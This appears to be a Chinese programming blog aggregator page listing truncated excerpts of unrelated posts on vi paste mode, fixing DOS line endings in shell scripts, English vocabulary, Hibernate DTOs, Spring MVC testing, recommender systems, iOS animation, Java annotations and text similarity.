vi 保存复制内容格式粘贴
daizj
vi 粘贴 复制 保存原格式 不变形
vi是linux中非常好用的文本编辑工具,功能强大无比,但对于复制带有缩进格式的内容时,粘贴的时候内容错位很严重,不会按照复制时的格式排版,vi能不能在粘贴时,按复制进的格式进行粘贴呢? 答案是肯定的,vi有一个很强大的命令可以实现此功能 。
在命令模式输入:set paste,则进入paste模式,这样再进行粘贴时
shell脚本运行时报错误:/bin/bash^M: bad interpreter 的解决办法
dongwei_6688
shell脚本
出现原因:windows上写的脚本,直接拷贝到linux系统上运行由于格式不兼容导致
解决办法:
1. 比如文件名为myshell.sh,vim myshell.sh
2. 执行vim中的命令 : set ff?查看文件格式,如果显示fileformat=dos,证明文件格式有问题
3. 执行vim中的命令 :set fileformat=unix 将文件格式改过来就可以了,然后:w
高一上学期难记忆单词
dcj3sjt126com
word english
honest 诚实的;正直的
argue 争论
classical 古典的
hammer 锤子
share 分享;共有
sorrow 悲哀;悲痛
adventure 冒险
error 错误;差错
closet 壁橱;储藏室
pronounce 发音;宣告
repeat 重做;重复
majority 大多数;大半
native 本国的,本地的,本国
hibernate查询返回DTO对象,DTO封装了多个pojo对象的属性
frankco
POJO hibernate查询 DTO
DTO-数据传输对象;pojo-最纯粹的java对象与数据库中的表一一对应。
简单讲:DTO起到业务数据的传递作用,pojo则与持久层数据库打交道。
有时候我们需要查询返回DTO对象,因为DTO
Partition List
hcx2013
partition
Given a linked list and a value x, partition it such that all nodes less than x come before nodes greater than or equal to x.
You should preserve the original relative order of th
Spring MVC测试框架详解——客户端测试
jinnianshilongnian
上一篇《Spring MVC测试框架详解——服务端测试》已经介绍了服务端测试,接下来再看看如果测试Rest客户端,对于客户端测试以前经常使用的方法是启动一个内嵌的jetty/tomcat容器,然后发送真实的请求到相应的控制器;这种方式的缺点就是速度慢;自Spring 3.2开始提供了对RestTemplate的模拟服务器测试方式,也就是说使用RestTemplate测试时无须启动服务器,而是模拟一
关于推荐个人观点
liyonghui160com
推荐系统 关于推荐个人观点
回想起来,我也做推荐了3年多了,最近公司做了调整招聘了很多算法工程师,以为需要多么高大上的算法才能搭建起来的,从实践中走过来,我只想说【不是这样的】
第一次接触推荐系统是在四年前入职的时候,那时候,机器学习和大数据都是没有的概念,什么大数据处理开源软件根本不存在,我们用多台计算机web程序记录用户行为,用.net的w
不间断旋转的动画
pangyulei
动画
CABasicAnimation* rotationAnimation;
rotationAnimation = [CABasicAnimation animationWithKeyPath:@"transform.rotation.z"];
rotationAnimation.toValue = [NSNumber numberWithFloat: M
自定义annotation
sha1064616837
java enum annotation reflect
对象有的属性在页面上可编辑,有的属性在页面只可读,以前都是我们在页面上写死的,时间一久有时候会混乱,此处通过自定义annotation在类属性中定义。越来越发现Java的Annotation真心很强大,可以帮我们省去很多代码,让代码看上去简洁。
下面这个例子 主要用到了
1.自定义annotation:@interface,以及几个配合着自定义注解使用的几个注解
2.简单的反射
3.枚举
Spring 源码
up2pu
spring
1.Spring源代码
https://github.com/SpringSource/spring-framework/branches/3.2.x
注:兼容svn检出
2.运行脚本
import-into-eclipse.bat
注:需要设置JAVA_HOME为jdk 1.7
build.gradle
compileJava {
sourceCompatibilit
利用word分词来计算文本相似度
yangshangchuan
word word分词 文本相似度 余弦相似度 简单共有词
word分词提供了多种文本相似度计算方式:
方式一:余弦相似度,通过计算两个向量的夹角余弦值来评估他们的相似度
实现类:org.apdplat.word.analysis.CosineTextSimilarity
用法如下:
String text1 = "我爱购物";
String text2 = "我爱读书";
String text3 =